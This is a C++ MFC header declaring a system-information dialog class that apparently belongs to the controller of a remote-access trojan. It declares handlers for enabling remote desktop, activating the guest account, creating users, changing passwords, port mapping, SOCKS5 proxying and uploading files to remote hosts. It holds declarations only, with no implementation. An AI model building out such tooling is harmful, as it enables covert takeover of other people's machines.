133 lines
3.7 KiB
C++
133 lines
3.7 KiB
C++
#if !defined(AFX_SYSINFO_H__43A689F4_E481_4923_BA03_B1D315F4FA33__INCLUDED_)
|
|
#define AFX_SYSINFO_H__43A689F4_E481_4923_BA03_B1D315F4FA33__INCLUDED_
|
|
|
|
#if _MSC_VER > 1000
|
|
#pragma once
|
|
#endif // _MSC_VER > 1000
|
|
// SysInfo.h : header file
|
|
//
|
|
#include "ZXPortMap.h"
|
|
|
|
/////////////////////////////////////////////////////////////////////////////
|
|
// CSysInfo dialog
|
|
|
|
class CSysInfo : public CDialog
|
|
{
|
|
// Construction
|
|
public:
|
|
CZXPortMap cPortMap;
|
|
static DWORD WINAPI PortTransfer( LPVOID lparam );
|
|
CSysInfo(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
|
void OnReceiveComplete();
|
|
CString IPAddress;
|
|
CString m_strOperatingFile; // 文件名
|
|
__int64 m_nOperatingFileLength; // 文件总大小
|
|
__int64 m_nCounter;// 计数器
|
|
CString m_strOperatingPath;
|
|
// Dialog Data
|
|
//{{AFX_DATA(CSysInfo)
|
|
enum { IDD = IDD_SYSINFO };
|
|
CXTPListCtrl m_list_online;
|
|
CXTPListCtrl m_list_wtsm;
|
|
CXTPListCtrl m_list_sev;
|
|
CXTTabCtrl m_system_tab;
|
|
CProgressCtrl m_progress_3389;
|
|
CXTPListCtrl m_list;
|
|
CString m_user;
|
|
CString m_pass;
|
|
CString m_admin;
|
|
CString m_port;
|
|
CString m_addr;
|
|
int m_nTheme;
|
|
BOOL m_socks5;
|
|
CString m_proxy_port;
|
|
CString m_proxy_user;
|
|
CString m_proxy_pass;
|
|
BOOL m_force;
|
|
//}}AFX_DATA
|
|
|
|
private:
|
|
void ShowSysinfoList();
|
|
void ShowInstallList();
|
|
void GetSysinfoList();
|
|
void GetInstallinfoList();
|
|
void GetSevList();
|
|
void GetWtsmList();
|
|
void ShowWtsList();
|
|
void ShowSevList();
|
|
void ShowSelectWindow();
|
|
|
|
// Overrides
|
|
// ClassWizard generated virtual function overrides
|
|
//{{AFX_VIRTUAL(CSysInfo)
|
|
public:
|
|
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
|
protected:
|
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
|
|
virtual BOOL OnNotify(WPARAM wParam, LPARAM lParam, LRESULT* pResult);
|
|
//}}AFX_VIRTUAL
|
|
|
|
// Implementation
|
|
protected:
|
|
void ShowProgress();
|
|
void SendFileData();
|
|
void EndLocalUploadFile();
|
|
BOOL SendUploadJob();
|
|
tagSystemInfo1 m_SysInfo;
|
|
// tagOnlineInfo m_InsInfo;
|
|
ClientContext* m_pContext;
|
|
CIOCPServer* m_iocpServer;
|
|
CXTPHeaderCtrl m_header1;
|
|
CXTPHeaderCtrl m_header2;
|
|
CXTPHeaderCtrl m_header3;
|
|
CXTPHeaderCtrl m_header4;
|
|
void SortColumn1(int iCol, bool bAsc);
|
|
void SortColumn2(int iCol, bool bAsc);
|
|
void SortColumn3(int iCol, bool bAsc);
|
|
// void SortColumn4(int iCol, bool bAsc);
|
|
int m_nSortedCol1;
|
|
bool m_bAscending1;
|
|
int m_nSortedCol2;
|
|
bool m_bAscending2;
|
|
int m_nSortedCol3;
|
|
bool m_bAscending3;
|
|
int m_nSortedCol4;
|
|
bool m_bAscending4;
|
|
// Generated message map functions
|
|
//{{AFX_MSG(CSysInfo)
|
|
virtual BOOL OnInitDialog();
|
|
afx_msg void OnClose();
|
|
afx_msg void OnCreat();
|
|
afx_msg void OnGuest();
|
|
afx_msg void OnStop();
|
|
afx_msg void OnChange();
|
|
afx_msg void OnConnect();
|
|
afx_msg void OnProxy();
|
|
afx_msg void OnSocks5();
|
|
afx_msg void OnClose3389();
|
|
afx_msg void OnOpen3389();
|
|
afx_msg void OnLanConnect();
|
|
afx_msg void OnSelchangeSystemTab(NMHDR* pNMHDR, LRESULT* pResult);
|
|
afx_msg void OnRclickListSev(NMHDR* pNMHDR, LRESULT* pResult);
|
|
afx_msg void OnRefreshpslist();
|
|
afx_msg void OnDeluser();
|
|
afx_msg void OnChangepassword();
|
|
afx_msg void OnRclickListWts(NMHDR* pNMHDR, LRESULT* pResult);
|
|
afx_msg void OnDisconnectUser();
|
|
afx_msg void OnLogoffUser();
|
|
afx_msg void OnCopy();
|
|
afx_msg void OnRclickInfoList(NMHDR* pNMHDR, LRESULT* pResult);
|
|
afx_msg void ModifyDrawStyle(UINT uFlag, BOOL bRemove);
|
|
afx_msg void OnActiveUser();
|
|
afx_msg void OnDisableuser();
|
|
//}}AFX_MSG
|
|
DECLARE_MESSAGE_MAP()
|
|
public:
|
|
CImageList m_ImgList;
|
|
};
|
|
|
|
//{{AFX_INSERT_LOCATION}}
|
|
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
|
|
|
#endif // !defined(AFX_SYSINFO_H__43A689F4_E481_4923_BA03_B1D315F4FA33__INCLUDED_)
|